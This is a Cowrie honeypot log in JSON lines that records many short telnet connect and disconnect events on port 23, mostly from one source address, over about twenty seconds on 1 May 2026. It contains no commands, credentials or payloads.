{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":39116,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbdbdc3b612","protocol":"telnet","message":"New connection: 173.198.194.106:39116 (10.17.0.5:23) [session: 7dbdbdc3b612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:30.121812Z"}
{"eventid":"cowrie.session.closed","duration":30.788514137268066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:30.284652Z","src_ip":"164.68.118.26","session":"6c3d0cdc7ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927489757537842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:31.052278Z","src_ip":"164.68.118.26","session":"42fe97b0efdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.229679346084595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:31.074541Z","src_ip":"164.68.118.26","session":"67bf85653af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41420,"dst_ip":"10.17.0.5","dst_port":23,"session":"680382248fae","protocol":"telnet","message":"New connection: 164.68.118.26:41420 (10.17.0.5:23) [session: 680382248fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:31.714209Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41714,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb582b9c27b","protocol":"telnet","message":"New connection: 164.68.118.26:41714 (10.17.0.5:23) [session: fcb582b9c27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:31.806038Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43408,"dst_ip":"10.17.0.5","dst_port":23,"session":"87521e094993","protocol":"telnet","message":"New connection: 164.68.118.26:43408 (10.17.0.5:23) [session: 87521e094993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:32.242659Z"}
{"eventid":"cowrie.session.closed","duration":31.237343311309814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:32.424277Z","src_ip":"164.68.118.26","session":"27c7a1a8edb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":45348,"dst_ip":"10.17.0.5","dst_port":23,"session":"d36f0be51a7d","protocol":"telnet","message":"New connection: 164.68.118.26:45348 (10.17.0.5:23) [session: d36f0be51a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:32.797180Z"}
{"eventid":"cowrie.session.closed","duration":30.76180601119995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:33.204167Z","src_ip":"164.68.118.26","session":"01fc40f70339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887183904647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:33.384067Z","src_ip":"173.198.194.106","session":"cabd3450b904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47496,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd71757544fa","protocol":"telnet","message":"New connection: 164.68.118.26:47496 (10.17.0.5:23) [session: dd71757544fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:33.411418Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49068,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd2e4a785000","protocol":"telnet","message":"New connection: 164.68.118.26:49068 (10.17.0.5:23) [session: fd2e4a785000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:33.777271Z"}
{"eventid":"cowrie.session.closed","duration":30.155816793441772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:34.061576Z","src_ip":"164.68.118.26","session":"87a328865301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.164049863815308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:34.137138Z","src_ip":"164.68.118.26","session":"972b0b209890","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50658,"dst_ip":"10.17.0.5","dst_port":23,"session":"90341f1f3016","protocol":"telnet","message":"New connection: 164.68.118.26:50658 (10.17.0.5:23) [session: 90341f1f3016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:34.169701Z"}
{"eventid":"cowrie.session.closed","duration":30.914350509643555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:34.413603Z","src_ip":"164.68.118.26","session":"1ff8d919eddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6ff49a6fb6b","protocol":"telnet","message":"New connection: 164.68.118.26:51984 (10.17.0.5:23) [session: d6ff49a6fb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:34.502461Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf7b61704b2","protocol":"telnet","message":"New connection: 173.198.194.106:40124 (10.17.0.5:23) [session: ccf7b61704b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:34.540378Z"}
{"eventid":"cowrie.session.closed","duration":31.65054702758789,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:34.811617Z","src_ip":"164.68.118.26","session":"14714bdd29e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57356,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f0107c77c33","protocol":"telnet","message":"New connection: 164.68.118.26:57356 (10.17.0.5:23) [session: 1f0107c77c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:35.908743Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46274,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a63c3b8bda","protocol":"telnet","message":"New connection: 164.68.118.26:46274 (10.17.0.5:23) [session: 63a63c3b8bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:36.045246Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"50ceb4cdcb61","protocol":"telnet","message":"New connection: 164.68.118.26:59044 (10.17.0.5:23) [session: 50ceb4cdcb61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:36.282479Z"}
{"eventid":"cowrie.session.closed","duration":31.609511137008667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:36.807657Z","src_ip":"164.68.118.26","session":"cb4d5d4c4772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33286,"dst_ip":"10.17.0.5","dst_port":23,"session":"72e56bcec48e","protocol":"telnet","message":"New connection: 164.68.118.26:33286 (10.17.0.5:23) [session: 72e56bcec48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:36.932970Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33264,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8020d77c49f","protocol":"telnet","message":"New connection: 164.68.118.26:33264 (10.17.0.5:23) [session: d8020d77c49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:36.937647Z"}
{"eventid":"cowrie.session.closed","duration":30.699921131134033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:37.074589Z","src_ip":"173.198.194.106","session":"2217c9b57d2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34222,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6b279b81a6","protocol":"telnet","message":"New connection: 164.68.118.26:34222 (10.17.0.5:23) [session: 9e6b279b81a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:37.183192Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34420,"dst_ip":"10.17.0.5","dst_port":23,"session":"963a0bd027b6","protocol":"telnet","message":"New connection: 164.68.118.26:34420 (10.17.0.5:23) [session: 963a0bd027b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:37.241046Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35534,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc303d3a000a","protocol":"telnet","message":"New connection: 164.68.118.26:35534 (10.17.0.5:23) [session: dc303d3a000a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:37.527591Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37286,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d6861137423","protocol":"telnet","message":"New connection: 164.68.118.26:37286 (10.17.0.5:23) [session: 8d6861137423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:37.975607Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37870,"dst_ip":"10.17.0.5","dst_port":23,"session":"0adcb318b1e2","protocol":"telnet","message":"New connection: 164.68.118.26:37870 (10.17.0.5:23) [session: 0adcb318b1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:38.112755Z"}
{"eventid":"cowrie.session.closed","duration":30.69527316093445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:38.183074Z","src_ip":"164.68.118.26","session":"a7e3ccaf2d79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247113466262817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:38.502491Z","src_ip":"164.68.118.26","session":"4840c37434de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40850,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c7f52d7a72e","protocol":"telnet","message":"New connection: 164.68.118.26:40850 (10.17.0.5:23) [session: 2c7f52d7a72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:38.870933Z"}
{"eventid":"cowrie.session.closed","duration":38.74645495414734,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:39.036341Z","src_ip":"45.63.42.31","session":"d32c8c2bc8a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300965785980225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:39.041404Z","src_ip":"164.68.118.26","session":"94e16963621f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11810278892517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:39.062431Z","src_ip":"164.68.118.26","session":"d7e504564b9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43694,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39d163ed10b","protocol":"telnet","message":"New connection: 164.68.118.26:43694 (10.17.0.5:23) [session: e39d163ed10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:39.536955Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44352,"dst_ip":"10.17.0.5","dst_port":23,"session":"89413db68e54","protocol":"telnet","message":"New connection: 164.68.118.26:44352 (10.17.0.5:23) [session: 89413db68e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:39.684527Z"}
{"eventid":"cowrie.session.closed","duration":31.278730392456055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:39.894763Z","src_ip":"164.68.118.26","session":"c9b4c31a5a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70437479019165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:40.091232Z","src_ip":"164.68.118.26","session":"a6bd67dd8944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47916,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb98ca0c76a","protocol":"telnet","message":"New connection: 164.68.118.26:47916 (10.17.0.5:23) [session: feb98ca0c76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:40.668551Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49484,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e4e84f3fe54","protocol":"telnet","message":"New connection: 164.68.118.26:49484 (10.17.0.5:23) [session: 3e4e84f3fe54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:41.045567Z"}
{"eventid":"cowrie.session.closed","duration":30.229462146759033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:41.162081Z","src_ip":"164.68.118.26","session":"348654dd110a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6977117061615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:41.216853Z","src_ip":"164.68.118.26","session":"f41acf0cc5e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03063678741455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:42.076998Z","src_ip":"164.68.118.26","session":"fbd569a1aafc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96347212791443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:42.152893Z","src_ip":"164.68.118.26","session":"bb0cb4ae2c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53628,"dst_ip":"10.17.0.5","dst_port":23,"session":"c14ed8528f2d","protocol":"telnet","message":"New connection: 164.68.118.26:53628 (10.17.0.5:23) [session: c14ed8528f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:42.167412Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54068,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce73fc27aeb0","protocol":"telnet","message":"New connection: 164.68.118.26:54068 (10.17.0.5:23) [session: ce73fc27aeb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:42.281783Z"}
{"eventid":"cowrie.session.closed","duration":31.192741870880127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:42.299384Z","src_ip":"164.68.118.26","session":"ccfcd63007ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11184859275818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:42.598683Z","src_ip":"164.68.118.26","session":"020216485f32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56008,"dst_ip":"10.17.0.5","dst_port":23,"session":"023545b632d1","protocol":"telnet","message":"New connection: 164.68.118.26:56008 (10.17.0.5:23) [session: 023545b632d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:42.723086Z"}
{"eventid":"cowrie.session.closed","duration":30.491268634796143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:43.200437Z","src_ip":"164.68.118.26","session":"e9eb8e096f92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268624305725098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:43.236014Z","src_ip":"164.68.118.26","session":"0472e9bc69e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":50512,"dst_ip":"10.17.0.5","dst_port":23,"session":"121703d44610","protocol":"telnet","message":"New connection: 173.198.194.106:50512 (10.17.0.5:23) [session: 121703d44610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:43.278952Z"}
{"eventid":"cowrie.session.closed","duration":30.460463762283325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:44.122293Z","src_ip":"164.68.118.26","session":"5bfc64698077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34386,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bb35c20e5c4","protocol":"telnet","message":"New connection: 164.68.118.26:34386 (10.17.0.5:23) [session: 7bb35c20e5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:44.272653Z"}
{"eventid":"cowrie.session.closed","duration":31.219776153564453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:44.660269Z","src_ip":"164.68.118.26","session":"15d5058a184f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27007031440735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:44.744038Z","src_ip":"173.198.194.106","session":"136497fd701b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.238828659057617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:45.065892Z","src_ip":"164.68.118.26","session":"c32ea27c8f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28215789794922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:45.273030Z","src_ip":"164.68.118.26","session":"1d17b856587d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41528,"dst_ip":"10.17.0.5","dst_port":23,"session":"7540fb797aa0","protocol":"telnet","message":"New connection: 164.68.118.26:41528 (10.17.0.5:23) [session: 7540fb797aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:46.000725Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"272806a8c6e6","protocol":"telnet","message":"New connection: 164.68.118.26:42044 (10.17.0.5:23) [session: 272806a8c6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:46.201392Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43140,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9688b9d2303","protocol":"telnet","message":"New connection: 164.68.118.26:43140 (10.17.0.5:23) [session: a9688b9d2303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:46.468977Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43216,"dst_ip":"10.17.0.5","dst_port":23,"session":"47554cd6f4ac","protocol":"telnet","message":"New connection: 164.68.118.26:43216 (10.17.0.5:23) [session: 47554cd6f4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:46.491085Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46434,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc65be780ccd","protocol":"telnet","message":"New connection: 164.68.118.26:46434 (10.17.0.5:23) [session: fc65be780ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:47.260912Z"}
{"eventid":"cowrie.session.closed","duration":30.87711477279663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:47.318076Z","src_ip":"164.68.118.26","session":"42481094d4b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46890,"dst_ip":"10.17.0.5","dst_port":23,"session":"0853508920f1","protocol":"telnet","message":"New connection: 164.68.118.26:46890 (10.17.0.5:23) [session: 0853508920f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:47.377010Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49348,"dst_ip":"10.17.0.5","dst_port":23,"session":"270f515970d0","protocol":"telnet","message":"New connection: 164.68.118.26:49348 (10.17.0.5:23) [session: 270f515970d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:48.036807Z"}
{"eventid":"cowrie.session.closed","duration":30.583266258239746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:48.366306Z","src_ip":"164.68.118.26","session":"5ba8a4596386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51830,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b4495f41df","protocol":"telnet","message":"New connection: 164.68.118.26:51830 (10.17.0.5:23) [session: 05b4495f41df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:48.697267Z"}
{"eventid":"cowrie.session.closed","duration":38.20111107826233,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:48.727139Z","src_ip":"45.63.42.31","session":"9827cc147936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":54412,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9d9bbe05460","protocol":"telnet","message":"New connection: 173.198.194.106:54412 (10.17.0.5:23) [session: b9d9bbe05460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:48.913608Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53220,"dst_ip":"10.17.0.5","dst_port":23,"session":"5104dd3fceb7","protocol":"telnet","message":"New connection: 164.68.118.26:53220 (10.17.0.5:23) [session: 5104dd3fceb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:49.052829Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53506,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3b7c8a1a9b","protocol":"telnet","message":"New connection: 164.68.118.26:53506 (10.17.0.5:23) [session: 2d3b7c8a1a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:49.138708Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53804,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df172846f88","protocol":"telnet","message":"New connection: 164.68.118.26:53804 (10.17.0.5:23) [session: 1df172846f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:49.243173Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53880,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd18e8dd8bc0","protocol":"telnet","message":"New connection: 164.68.118.26:53880 (10.17.0.5:23) [session: cd18e8dd8bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:49.259723Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54676,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca5123252b1","protocol":"telnet","message":"New connection: 164.68.118.26:54676 (10.17.0.5:23) [session: 6ca5123252b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:49.453362Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56148,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5907470bf12","protocol":"telnet","message":"New connection: 164.68.118.26:56148 (10.17.0.5:23) [session: b5907470bf12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:49.776380Z"}
